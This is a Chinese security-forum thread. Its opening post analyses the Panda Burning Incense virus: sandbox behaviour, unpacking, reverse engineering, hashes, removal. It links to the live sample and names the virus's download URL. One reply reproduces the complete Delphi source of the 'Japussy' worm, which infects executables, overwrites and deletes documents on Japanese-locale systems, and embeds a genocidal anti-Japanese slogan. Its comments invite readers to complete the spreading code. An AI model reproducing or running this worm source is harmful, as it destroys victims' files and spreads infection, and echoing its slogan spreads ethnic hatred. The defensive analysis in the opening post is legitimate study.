吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 34240|回复: 467
收起左侧

[PC样本分析] 经典病毒分析——熊猫烧香

    [复制链接]
Nattevak 发表于 2022-1-1 08:56
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Nattevak 于 2022-1-1 09:21 编辑

感染

感染


那一日,人们又回忆起被胖达支配的恐惧。。。。

xm

xm


那年,机房风扇呼呼的吹,小狮子的呼噜呼呼的打,胖达揣着三根香占满了电脑。。。

时过数十载,重现当年经典,今日带来胖达分析四部曲。病毒分析初尝试,如有不足,望各位大佬指点

一、基本分析,并提取病毒样本,手工清理机器
“熊猫烧香”是一款拥有自动传播、自动感染硬盘能力和强大的破坏能力的病毒,他不但能感染系统中exe,com,pif,src,html,asp等文件,他还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件。该文件一般是系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫烧香的模样。
来自百度百科:熊猫烧香病毒对系统中所有除了盘符为A,B的磁盘类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘进行文件遍历感染

注:不感染文件大小超过10MB以上的

1

1


1.模拟真实场景,在虚拟机中运行样本

1.1

1.1

1.2

1.2

1.3

1.3

1.4

1.4

1.5

1.5

1.6

1.6


2.待病毒执行之后,观察可疑情况
使用PCHunter工具查看进程,定位到进程文件,再结束病毒进程
可疑进程判断依据:图标、文件名、文件路径

1.7

1.7


找到病毒所在位置,将其样本保存,再删除目录下的病毒程序(需结束病毒进程后删除)

1.8

1.8


注:在病毒运行后,需观察病毒情况
首先查看可疑进程,进程部分上文已经写出
再查看启动项(注册表,计划任务等)
注册表启动项有可疑进程

1.9

1.9

1.10

1.10


查看驱动,服务等可疑项
未发现异常

查看其他杂项,网络连接
有可疑进程的网络连接,主要端口号:80、443、139

1.11

1.11

1.12

1.12


使用抓包工具(WSExplorer)查看可疑流量
有加密的流量传输

1.13

1.13


3.提取样本:
将路径下文件提取到本地,并修改扩展名为vir
C:\Windows\System32\drivers\spo0lsv.exe 改为 C:\Windows\System32\drivers\spo0lsv.vir

4.样本概况:
文件: C:\Windows\System32\drivers\spo0lsv.vir
大小: 30001 bytes
修改时间: 2018年7月14日, 8:40:21
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

5.手工清理机器:
       ①结束可疑进程 spo0lsv.exe
       ②删除可疑进程启动项
       ③程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析。

二、行为分析,获取病毒行为
1.由于之前对病毒样本进行了一系列操作,所以将虚拟机还原快照,重新在虚拟机中运行病毒程序,使用火绒剑工具监控病毒样本的运行,待病毒执行一段时间后,分开查看病毒的行为。分析监控到的日志,主要观察的点:
       ①文件操作,主要看文件创建、修改、删除等操作
       ②注册表操作,主要看注册表设置、创建等操作
       ③进程操作,主要看创建进程、写入内存等操作
       ④网络操作,主要看网络连接地址、IP等信息
       ⑤其他行为,以及观察病毒样本运行后的反应
分析样本的行为,尽可能发现恶意行为。

开启火绒剑监控样本运行

2.1

2.1


①观察文件操作,主要观察文件的写入操作,这里保险起见勾选文件被修改和写入文件两个选项

2.2

2.2

2.3

2.3

2.4

2.4

2.5

2.5

2.6

2.6


②观察注册表操作,主要观察设置注册表的操作,这里勾选设置注册表项值

2.7

2.7


病毒程序自己建了一个注册表项,设置了一些信息

2.8

2.8


Internet Setting看起来应该是跟网络设置相关

2.9

2.9


其他的大多都是一些设置启动项和隐藏的一些操作

2.10

2.10


③观察进程操作
因为进程现在还不太好判断,所以进程相关的所有操作都先看一下

2.11

2.11

2.12

2.12


枚举进程可能是为了查找是否存在杀毒软件

2.13

2.13


④观察网络操作,这里能监控的数据不多,有可能会有遗漏

2.14

2.14

2.15

2.15


具体操作可以使用抓包工具(WSExplorer)进一步观察

⑤观察其他行为
行为监控属于火绒剑这个工具特色的一种功能,这里将常见的一些恶意代码行为进行了总结

2.16

2.16

2.17

2.17


执行监控可以观察病毒程序执行了哪些进程,加载了哪些模块的操作,这里还创建了CMD,执行了一些命令

2.18

2.18


查看动作信息->进程

2.19

2.19


分析情况总结:
分析监控的日志以及自行观察操作之后,可以分析出样本的恶意行为:
       1.自我复制样本到C盘:C:\Windows\System32\drivers\目录下,启动C:\Windows\System32\drivers\spo0lsv.exe(即病毒程序)
       2.在每一个目录下创建Desktop_.ini,里面存放的是当前日期
       3.在C盘根目录下创建了autorun.inf文件,其中指定了自动启动的文件为根目录下的setup.exe(即病毒程序)
       4.对程序目录下的exe进行了感染,图标变为熊猫烧香,打开exe时,自动打开病毒
       5.枚举进程、查找窗口、打开设备
       6.设置注册表启动项为C:\Windows\System32\drivers\spo0lsv.exe
       7.自己创建了一个注册表的项,在其中写入了很多信息HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\spo0lsv_RASAPI32
       8.设置注册表键值,隐藏文件不显示HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL中的CheckedValue值
       9.修改注册表的项IE浏览器的代{过}{滤}理和连接设置
       10.使用CMD命令关闭网络共享
       11.连接局域网的一些地址,访问一些门户网站

三、详细分析病毒代码,获取行为的恶意代码
通过行为分析之后,可以知道恶意代码的一些恶意行为,想要获取更加详细的行为需要使用IDA或是OD分析样本。

1.查壳
使用Exeinfo PE 查壳,发现是FSG2.0的壳

3.1

3.1


因为FSG是压缩壳,所以脱壳最应该尝试的是ESP定律,其次就是单步跟踪。
使用OD载入病毒程序,发现入口没有pushad/pushfd指令,单步观察堆栈变化。

3.2

3.2


程序一开始并没有保存环境,遇到这种情况继续单步跟踪,发现有解密代码的地方

3.3

3.3


继续单步跟踪,不进入CALL,线性分析代码。很快找到了修复IAT的地方。继续跟踪

3.4

3.4


找到跳出循环修复IAT的地方,到达跳转到原始OEP的地方。

3.5

3.5


在原始OEP处DUMP文件,再使用ImprotREC修复IAT即可。

3.6

3.6


使用ImportREC修复IAT时发现不能完整识别所有的导入函数。

3.7

3.7


观察IAT,发现两个模块的函数之间被填充成了7FFFFFFFF。

3.8

3.8


将7FFFFFFF都改为0,再使用ImportREC重新获取。

3.9

3.9


这次成功获取,然后修复转存的文件即可。

3.10

3.10


使用dump修复后的文件用IDA打开进行分析,添加签名便于分析

3.11

3.11


搜索Delphi,找到Delphi6-7的特征库,应用可以识别出很多库函数

3.12

3.12


使用F5将其转换为伪代码,简单分析OEP处代码

OEP处代码

3.13

3.13


OEP代码分析过程:
根据伪代码所示,可以发现OEP处的代码一开始都是一些初始化变量的操作;
之后使用了一些库函数进行连接、赋值的一些操作;
调用的第一个函数为sub_405250,其参数有字符串“xboy",之后另一次调用中,参数有字符串“whboy”,在调用sub_405250之后,有LStrCmp字符串比较函数的调用,之后又有判断返回值的代码,可以猜测函数sub_405250应该是解密字符串函数。

3.14

3.14


在OD中动态调试病毒程序,验证猜测

3.15

3.15


观察数据窗口,内存窗口以及寄存器的变化,可以确认sub_405250就是解密字符串函数,故将sub_405250更改为解密字符串函数DecodeString。

3.16

3.16


剩下的sub_40819C、sub_40D18C、sub_40D088三个函数应该是执行恶意代码的函数,在代码的末尾处可以看到有一个消息循环,猜测应该是等待恶意代码执行完毕,函数才会退出。
所以OEP处函数可以分为五部分:

3.17

3.17


sub_40819C函数分析
首先如我们之前分析的一样,在每一个目录下创建Desktop_.ini文件

3.18

3.18


进行判断,是否进入判断语句
之后再对运行程序与生成路径比较,不一致则进入判断中,一致则继续向下

3.19

3.19


sub_4053AC函数功能为GetSystemDirectory,即获取Windows系统目录(System目录)的完整路径名。

3.20

3.20


故将sub_4053AC函数更名为GetSystemDirectory。

sub_405FC4函数功能在IDA中不太好判断,所以需使用OD动态调试分析
在OD中搜索405FC4函数,来到函数入口处,在入口处下断点,将病毒程序运行至此,此时可以观察到EAX中保存的是病毒程序的名称

3.21

3.21


进行栈回溯,找到调用位置

3.22

3.22


在下一行代码处下断点,观察其返回值,其返回值为1,但是这里是字节里的1;
判断此处功能应该是结束程序名为"spo0lsv.exe"的程序

3.23

3.23


验证猜想
将任一程序名更改为"spo0lsv.exe",将其运行

3.24

3.24


然后设置CALL的上一行代码为新EIP,再次F9运行

3.25

3.25


可以观察到被我们修改为"spo0lsv.exe"的程序被结束了
故将sub_405FC4函数更名为KillVirusProcess。

继续向下分析伪代码

3.26

3.26


sub_407B68函数内为写入bat批处理文件的操作以及启动未被感染的程序,故将名称变更为WriteBatFile。

3.27

3.27


继续分析,判断当前是否为源病毒程序,如果是则进入判断语句,不是则结束进程

3.28

3.28

3.29

3.29


sub_40819C函数汇总:

3.30

3.30


快速定位感染exe的函数
使用OD动态调试样本,在CreateProcessA处下断点

3.31

3.31


进行栈回溯,找到关键跳转,使病毒程序不复制自身,不创建副本进程

3.32

3.32

3.33

3.33


跳转后对kernel32.CreateFileA下断点

3.34

3.34


F9运行程序,程序在CreateFileA断下,不断F9,直至运行至感染exe程序时

3.35

3.35


此时进行栈回溯,寻找感染关键代码,最终找到函数00407F00函数为病毒程序感染的关键函数,发现感染的类型有exe,scr,pif等。

3.36

3.36


在IDA中继续分析407F00函数

3.37

3.37


sub_40D18C函数分析
这个函数中有三个函数,分别功能:
       1.Create_ini函数创建线程,遍历目录创建Desktop_.ini
       2.Create_exe_inf函数设置了一个定时器,检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建
       3.Create_network函数创建线程,进行网络连接

3.38

3.38


Create_ini函数

3.39

3.39


进入sub_40A48C函数,可以看到在循环执行sub_409348函数,根据之前的判断,这里应该是在创建Desktop_.ini文件

3.40

3.40


进入sub_409348函数可以发现Desktop_.ini字符串,因为我们之前已经分析过Desktop_.ini文件中存放的是本地时间,此函数中也有获取本地时间的行为,推测此处为代码执行的地方

3.41

3.41

3.42

3.42


Create_exe_inf函数

3.43

3.43


进入TimerFunc函数,实际功能就是检查C盘中setup.exe和autorun.inf文件是否存在,若不存在则创建

3.44

3.44


Create_network函数

3.45

3.45


进入sub_40BA8C函数,再进入sub_40B864函数发现是与网络连接相关的一些函数

3.46

3.46


sub_40D18C函数汇总:

3.47

3.47


sub_40D088函数分析
这个函数中调用了6个定时器:
       1.定时器1,sub_40CEE4,添加启动项、修改注册表
       2.定时器2,sub_40D040,下载恶意代码
       3.定时器3,sub_40D048,下载恶意代码、执行cmd命令
       4.定时器4,sub_407430,删除杀毒软件启动项、关闭杀软服务
       5.定时器5,sub_40CC4C,打开解密之后的网页
       6.定时器6,sub_40C728,下载恶意代码

3.48

3.48


进入sub_40CEE4函数,发现是添加启动项、修改注册表的操作

3.49

3.49


进入sub_40D040函数,再进入sub_40CC34,再进入sub_40C9B0,这里在访问网站并获取系统目录,应该是从服务器下载恶意代码

3.50

3.50


进入sub_40D048函数,发现内部有两个函数,函数sub_40CC34与函数sub_40D040功能相同,均为下载恶意代码

3.51

3.51


函数sub_40CDEC为执行cmd命令,关闭网络共享

3.52

3.52


进入sub_407430函数,再进入sub_406E44函数,发现都是删除杀毒软件启动项、关闭杀毒软件服务的操作

3.53

3.53


进入sub_40CC4C函数,打开解密之后的网页

3.54

3.54


进入sub_40C728函数,再进入sub_40C5E0函数,发现与sub_40D040功能类似,此处函数功能大致也是下载恶意代码
访问http://update.whboy.net/worm.txt下载并且执行病毒

3.55

3.55


执行恶意代码部分汇总:

3.56

3.56


四、提取病毒特征,完成查杀,编写文档报告及专杀工具
1.病毒特征
       MD5特征: 512301C535C88255C9A252FDF70B7A03
       SHA1值: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
       CRC32: E334747C
       感染特征: 文件名最后有感染标识字符串"WhBoy + 原文件名 + .exe + 02 + 文件大小 + 01"

4.1

4.1


2.手工查杀步骤
       1.排查可疑进程,使用PcHumter结束病毒进程 spo0lsv.exe
       2.检查启动项,删除病毒启动项 "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
       3.删除C盘System\drivers目录下的spo0lsv.exe病毒程序
       4.修复被病毒破坏的文件,程序安装目录下被感染的exe变成了熊猫烧香图标,手工无法清除,当运行被感染程序时,病毒再次复活。可以发现,手工无法清除此病毒,想要清除需要进一步分析

3.制作专杀工具

4.2

4.2



熊猫烧香样本https://wwz.lanzouo.com/iLB8oy7jj0j

免费评分

参与人数 160吾爱币 +155 热心值 +146 收起 理由
iret_52 + 1 我很赞同!
lt258369 + 1 + 1 用心讨论,共获提升!
SeleiXi + 1 + 1 我很赞同!
undyingzombie + 1 热心回复!
flyray + 1 我很赞同!
Ginobili + 1 + 1 !!!!
Mofecx + 1 + 1 厉害
CyberAzrael + 1 + 1 我很赞同!
lyj0886 + 1 + 1 谢谢@Thanks!
Function_TR + 1 + 1
seiman + 1 + 1 用心讨论,共获提升!
zgangtao0314 + 1 + 1 我很赞同!
二狗子的小棉袄 + 1 + 1 热心回复!
CodingZhang + 1 + 1 用心讨论,共获提升!
翼风Fly + 1 + 1 用心讨论,共获提升!
Qxie + 1 + 1 热心回复!
YF440295 + 1 + 1 大神
Gentle899 + 1 我很赞同!
三变丶 + 1 + 1 热心回复!
tutuxiaotaoqi + 1 + 1 热心回复!
breadbear + 1 + 1 我很赞同!
LA110 + 1 热心回复!
deep1ndreams + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Zua + 1 + 1 我很赞同!
李莹莹 + 2 + 1 用心讨论,共获提升!
SGabyss + 1 + 1 我很赞同!
weiye588 + 1 + 1 我很赞同!
TianXiaYu + 1 + 1 谢谢@Thanks!
hu1314 + 1 + 1 谢谢@Thanks!
哆啦A梦 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiaoyue7788 + 1 + 1 用心讨论,共获提升!
dwcj + 1 用心讨论,共获提升!
plj529 + 1 + 1 谢谢@Thanks!
beyondcapacity + 1 用心讨论,共获提升!
ladiosfei + 1 + 1 跪了跪了,膜拜大神
bihailt + 1 用心讨论,共获提升!
Tauch + 2 + 1 鼓励转贴优秀软件安全工具和文档!
samson2013 + 1 + 1 一教室就看着老师优盘里全是这图标,也是牛脾
DrillAnn + 1 用心讨论,共获提升!
wwwnet110 + 1 + 1 用心讨论,共获提升!
wocuole + 1 + 1 太牛了,
bibo00000 + 1 + 1 用心讨论,共获提升!
nevinhappy + 1 + 1 用心讨论,共获提升!
CodeTea + 1 + 1 我很赞同!
LISHGU + 1 + 1 我很赞同!
Web_ + 1 + 1 太硬核了,大佬牛逼
AECPOS + 1 + 1 鼓励转贴优秀软件安全工具和文档!
blankqwq + 1 我很赞同!
wkiwi + 1 + 1 用心讨论,共获提升!
开袋即食 + 1 + 1 热心回复!
Coptis_china + 1 谢谢@Thanks!
屠龙大元帅 + 1 + 1 以前网吧全是这玩意,当时无解。。。。
tuoyu20 + 1 + 1 谢谢@Thanks!
Reer + 1 + 1 我很赞同!
Krystian + 1 + 1 用心讨论,共获提升!
千王0108 + 1 + 1 用心讨论,共获提升!
yizhenkai + 1 我很赞同!
52.Carl + 1 鼓励转贴优秀软件安全工具和文档!
GuiXiaoQi + 1 我很赞同!
wenzei + 1 + 1 我很赞同!
zhangli777 + 1 + 1 我很赞同!
sushaka + 1 + 1 鼓励转贴优秀软件安全工具和文档!
kuaile365 + 1 + 1 我很赞同!
小牛快跑 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
4nfu + 1 + 1 我很赞同!
你可真傻 + 1 + 1 热心回复!
shower1986 + 1 + 1 谢谢@Thanks!
nass221 + 1 + 1 谢谢@Thanks!
wiliao123 + 1 + 1 热心回复!
AnderWiggin + 1 我很赞同!
longfei9527 + 1 + 1 用心讨论,共获提升!
Iam9527 + 1 + 1 我很赞同!
Histone + 1 + 1 用心讨论,共获提升!
adf28 + 1 + 1 谢谢@Thanks!
monk3435 + 1 + 1 我很赞同!
weizziwong + 1 + 1 用心讨论,共获提升!
Tracer024 + 1 我很赞同!
manwaa + 1 + 1 热心回复!
liuyshou + 1 用心讨论,共获提升!
Yubai47666 + 1 + 1 用心讨论,共获提升!
mistyang + 1 + 1 热心回复!
viczdtzzy + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
w5230186 + 1 + 1 用心讨论,共获提升!
看门猫 + 1 + 1 用心讨论,共获提升!
lovlin999 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
羽未 + 1 + 1 用心讨论,共获提升!
1983 + 1 + 1 用心讨论,共获提升!
sunline + 1 + 1 谢谢@Thanks!
CadenWu + 1 + 1 鼓励转贴优秀软件安全工具和文档!
zouya1990 + 1 + 1 谢谢@Thanks!
meteroa + 1 + 1 谢谢@Thanks!
a2961666 + 1 我很赞同!
grimghost + 1 + 1 牛牛牛!!!
anwen + 1 + 1 用心讨论,共获提升!
soyadokio + 1 + 1 优秀!
人家故里 + 1 + 1 大佬牛批
秦牧 + 1 + 1 这才是牛叉的大神
csotour + 1 + 1 我很赞同!
清炒藕片丶 + 1 + 1 我很赞同!
limit7 + 1 碉堡了

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

sail2000 发表于 2022-1-2 08:47
本帖最后由 sail2000 于 2022-1-2 08:49 编辑

[Delphi] 纯文本查看 复制代码
//原地址:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864

//熊猫烧香 - 核心源码    
//----------
//僅供研究使用!後果自行負責 

//代码:----------
//程序代码
program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;          //病毒体的大小
  IconOffset = $12EB8;          //PE文件主图标的偏移量
  
  //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  //查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
  HeaderSize = 38912;          //Upx压缩过病毒体的大小
  IconOffset = $92BC;          //Upx压缩过PE文件主图标的偏移量
  
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
  IconSize   = $2E8;          //PE文件主图标的大小--744字节
  IconTail   = IconOffset + IconSize;  //PE文件主图标的尾部
  ID         = $44444444;          //感染标记
  
  //垃圾码,以备写入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
          'If a country need to be destroyed, it must be Japan! ' +
          '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
  stdcall; external 'Kernel32.dll'; //函数声明
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
  //哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出错则文件正在被使用,退出
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
      Exit;
    Infected := False;
    IsPE     := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //检查PE文件头
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
        begin
          IsPE := True; //是PE文件
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主图标(744字节),存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //写入病毒体主图标到病毒体尾部之间的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;

{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只读属性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //写入垃圾码的随机次数
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每个间隔块的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //写入垃圾码,将文件彻底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //关闭文件
    end;
    DeleteFile(PChar(FileName)); //删除之
  except
  end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍历26个字母
  begin
    D := Chr(i + 65);
    Str := D + ':';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盘和网络盘
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 //不是目录
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 //不是根目录
    else Result := 2; //是根目录
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感染可执行文件        
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感染HTML和ASP文件,将Base64编码后的病毒写入
          //感染浏览此网页的所有用户
          //哪位大兄弟愿意完成之?
        end
        else if Ext = '.WAB' then //Outlook地址簿文件
        begin
          //获取Outlook邮件地址
        end
        else if Ext = '.ADC' then //Foxmail地址自动完成文件
        begin
          //获取Foxmail邮件地址
        end
        else if Ext = 'IND' then //Foxmail地址簿文件
        begin
          //获取Foxmail邮件地址
        end
        else 
        begin
          if IsJap then //是倭文操作系统
          begin
          if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
          (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
          (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
          (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
          (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
          (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
          SmashFile(Fn); //摧毁文件
          end;
        end;
      end;
      //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings[i] + '', Mask);
  FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;

var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作系统
    IsJap := True; //去死吧!
  DriverList := GetDrives; //得到可写的磁盘列表
  Len := Length(DriverList);
  while True do //死循环
  begin
    for i := Len downto 1 do //遍历每个磁盘驱动器
      LoopFiles(DriverList[i] + ':', '*.*'); //感染之
    SendMail; //发带毒邮件
    Sleep(1000 * 60 * 5); //睡眠5分钟
  end;
end;
{ 主程序开始 }
begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
  else //WinNT
  begin
    //远程线程映射到Explorer进程
    //哪位兄台愿意完成之?
  end;
  //如果是原始病毒体自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和发邮件
  else //已寄生于宿主程序上了,开始工作
  begin
    TmpFile := ParamStr(0); //创建临时文件
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
    ExtractFile(TmpFile); //分离之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, '.', Si, Pi); //创建新进程运行之
    InfectFiles; //感染和发邮件
  end;
end.

{~~~~~~~~~~
完毕!

独孤九剑转载于DelphiBBS:http://www.delphibbs.com/keylife/iblog_show.asp?xid=26864}

免费评分

参与人数 1热心值 +1 收起 理由
Laign + 1 很详细的注释

查看全部评分

Love0912 发表于 2022-1-1 09:20
这个说实话是我目前见过写的最好的病毒之一,最起码想当年无人能破解这个。。。思路清奇真的棒
第一次下海 发表于 2022-1-1 09:12
新年第一天看到这个。。。。。。。。当年的恐怖心情又勾起来了。。。。
kuiyanxu 发表于 2022-1-1 10:24
不明觉厉,大佬牛批
qwert0312 发表于 2022-1-1 22:46
oxxo119 发表于 2022-1-1 20:07
这个病毒就不是他编写的,是经过修改当时的一个国外的病毒,提交了熊猫图标,然后就那样了

如果不是 他写的,他也不会当天就搞出专杀工具好吧,只能说,有一些代码是他使用了一些已知的代码整合的。
sbnie 发表于 2022-1-1 09:33
没中过这玩意儿
ahzl201 发表于 2022-1-1 09:03
这也太硬核了,先收藏,好好消化一下。
头像被屏蔽
lxj2004 发表于 2022-1-1 09:07
分析的最透彻的
头像被屏蔽
lxj2004 发表于 2022-1-1 09:09
我也想研究一下,如果可以请将样本加密压缩包病毒样本和杀毒程序发我一下,网盘链接,谢谢了,你这个分析整体上还是可以的
741852waholzk 发表于 2022-1-1 09:13
好家伙,这是文艺复兴啊
ddia00025 发表于 2022-1-1 09:22
楼主厉害
马云爱逛京东 发表于 2022-1-1 09:38
